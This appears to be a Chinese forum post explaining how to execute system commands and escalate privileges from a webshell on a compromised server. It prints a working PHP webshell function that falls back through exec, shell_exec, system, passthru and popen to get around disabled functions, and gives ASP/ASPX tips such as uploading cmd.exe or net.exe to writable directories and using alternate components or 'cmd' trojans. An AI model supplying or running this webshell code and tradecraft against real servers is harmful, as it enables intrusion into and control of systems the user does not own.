#一篇科普性的文章,欢迎小伙伴指正,如果有其他的方法希望一起分享
#文章中难免有不足的地方,望
大家谅解,可以回帖一起交流
#当然提权不是必须使用
DOS命令,也可以第三方提取等等 需要灵活的思路(某些大牛手握0day直接溢出)
(1)在php下有以下函数可以执行命令
exec
shell_exec
system
passthru
popen
EscapeShellCmd
当php开启安全模式或者做了限制的时候某些敏感函数会被禁止
解决办法:可以在
webshell下查看被禁用的函数,使用未被禁用的函数执行dos命令
php大马里面的执行dos命令的函数,可以看到使用elseif测试每一个函数
function Exec_Run($cmd)
{
$res = '';
if(function_exists('exec')){@exec($cmd,$res);$res = join("n",$res);}
elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);}
elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();}
elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();}
elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);}
return $res;
}
复制代码
(2)在asp&aspx下
1# 如果cmd被删除,或者拒绝访问,可以上传一个cmd.exe到可读可写目录下
2# 如果ws组件被删,可以尝试使用shell.application组件来执行,如果这2个组件都被删,可以尝试使用它们的备用组件来执行(有专用的cmd马)
3#Aspx下一般使用process类来调用执行可执行程序,.net环境中也是可以使用WScript.Shell组件的
当net出现问题时:
如果可以执行一些其他的命令,但是net net1返回为空,则说明net.exe被删除,如果出现拒绝访问,则无权限
解决办法:
(1)可以上传一个net.exe到可读可写目录下
(2)Net.exe 恢复 dir net.exe /s /p 或者 dir net1.exe /s /p